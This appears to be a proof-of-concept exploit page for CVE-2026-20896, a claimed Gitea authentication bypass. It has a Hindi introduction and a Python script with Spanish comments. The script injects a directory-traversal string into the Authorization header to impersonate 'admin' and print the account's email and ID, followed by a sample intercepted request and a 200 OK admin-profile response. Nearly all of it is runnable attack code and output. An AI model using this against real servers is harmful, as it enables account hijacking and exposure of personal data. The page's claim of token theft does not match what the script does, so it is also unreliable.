
स्वचालित PoC exploit for CVE-2026-20896, एक Gitea प्रमाणीकरण बाईपास API प्राधिकरण हेडर में डायरेक्टरी ट्रैवर्सल के माध्यम से, प्रशासनिक टोकन चोरी को सक्षम करना।
यह स्क्रिप्ट Gitea API के रूट वैलिडेशन में तार्किक दोष का शोषण स्वचालित करती है, जिससे प्राधिकरण हेडर में डायरेक्टरी ट्रैवर्सल हमले के माध्यम से सर्वर को एक मान्य प्रशासनिक टोकन प्रदान करने के लिए मजबूर किया जा सकता है।
#!/usr/bin/env python3
# PoC: Gitea Authentication Bypass (CVE-2026-20896)
# Uso exclusivo para entornos controlados y auditorías autorizadas (CTF)
import requests
import sys
import argparse
def expone_bypass(target_ip, username):
print(f"[*] Iniciando ataque contra el servidor Gitea: {target_ip}")
# URL del endpoint vulnerable de la API
url = f"http://{target_ip}/api/v1/user"
# Construcción del payload de evasión aprovechando el fallo de lógica en las rutas
# El servidor concatena mal la ruta del token permitiendo saltar al perfil objetivo
payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
cabeceras = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
"Authorization": f"token {payload_token}",
"Accept": "application/json"
}
try:
# Enviamos la solicitud HTTP maliciosa
respuesta = requests.get(url, headers=cabeceras, timeout=10)
# Si el servidor responde con 200 OK, la evasión fue exitosa
if respuesta.status_code == 200:
print("[+] \033[92m¡Vulnerabilidad explotada con éxito!\033[0m")
datos_usuario = respuesta.json()
print(f"[+] Sesión secuestrada del usuario: {datos_usuario.get('username')}")
print(f"[+] Correo asociado: {datos_usuario.get('email')}")
print(f"[+] ID de cuenta en base de datos: {datos_usuario.get('id')}")
return True
else:
print(f"[-] El servidor respondió con código: {respuesta.status_code}")
print("[-] Intento de bypass rechazado o parcheado.")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Error de conexión con el objetivo: {e}")
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
parser.add_argument("-t", "--target", required=True, help="IP o dominio del servidor Gitea")
parser.add_argument("-u", "--user", default="admin", help="Usuario objetivo a suplantar (Por defecto: admin)")
args = parser.parse_args()
expone_bypass(args.target, args.user)
उपरोक्त स्क्रिप्ट चलाने पर, हम प्रॉक्सी में अनुरोध को इंटरसेप्ट कर सकते हैं ताकि यह सत्यापित किया जा सके कि बैकएंड बिना किसी वैध हस्ताक्षर के हमले के वेक्टर को कैसे संसाधित करता है:
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
सर्वर प्रतिक्रिया (कमजोर):
सर्वर टोकन स्ट्रिंग के सामान्यीकरण में दोष के कारण सामग्री को संसाधित करता है, जिससे प्रशासक प्रोफ़ाइल का JSON ऑब्जेक्ट 200 OK कोड के साथ लौटता है:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN
{
"id": 1,
"username": "admin",
"login": "admin",
"full_name": "Administrador del Sistema",
"email": "[email protected]",
"avatar_url": "http://192.168.0",
"is_admin": true,
"last_login": "2026-07-01T15:22:01Z"
}